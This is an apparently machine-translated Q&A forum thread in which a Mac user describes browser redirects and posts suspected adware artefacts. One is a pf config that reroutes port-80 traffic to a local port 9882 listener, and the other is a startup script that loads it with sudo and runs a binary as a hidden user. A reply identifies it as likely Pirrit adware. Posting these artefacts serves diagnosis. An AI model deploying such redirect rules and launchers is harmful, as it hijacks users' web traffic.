Questão processo de pseudo-hidrofobia Mac


Recentemente eu comecei a notar quando eu navego em uma página web no meu MBP 10.10.5 Yosemite que o Chrome Canary Version 53 estava abrindo uma nova aba ou algumas páginas não estavam abrindo ... esta aba estava me redirecionando para páginas aleatórias.

Ativei o Firewall e notei uma pseudo-hidrofobia chamada de processo tentando abrir uma conexão de entrada

/etc/pseudohydrophobia.conf

    rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
    pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
    pass out proto tcp all user volutate

/etc/pseudohydrophobia.sh

#!/bin/sh

if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0

Portas:

netstat -an | grep 9882
tcp4       0      0  *.9882                 *.*                    LISTEN  

/etc/pseudohydrophobia.conf

rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate

Vou deletar todos esses scripts e binários, mas quero postar como não encontrei nenhuma referência do Google.


0


origem


Depois de uma exclusão e reinicialização, o nome do processo e o usuário alterados ... analisarão os scripts do Statrup - spicyramen


Respostas:


Dê uma olhada https://objective-see.com/blog/blog_0x0E.html

Análise de um Adware Intrusive Cross-Platform; OSX / Pirrit

Pode ser o malware da Pirrit.

O nome de usuário volutate e nomes de arquivos (pseudohydrophobia) sem dúvida são gerados aleatoriamente, mas o portnumber 9882 é o mesmo ...


1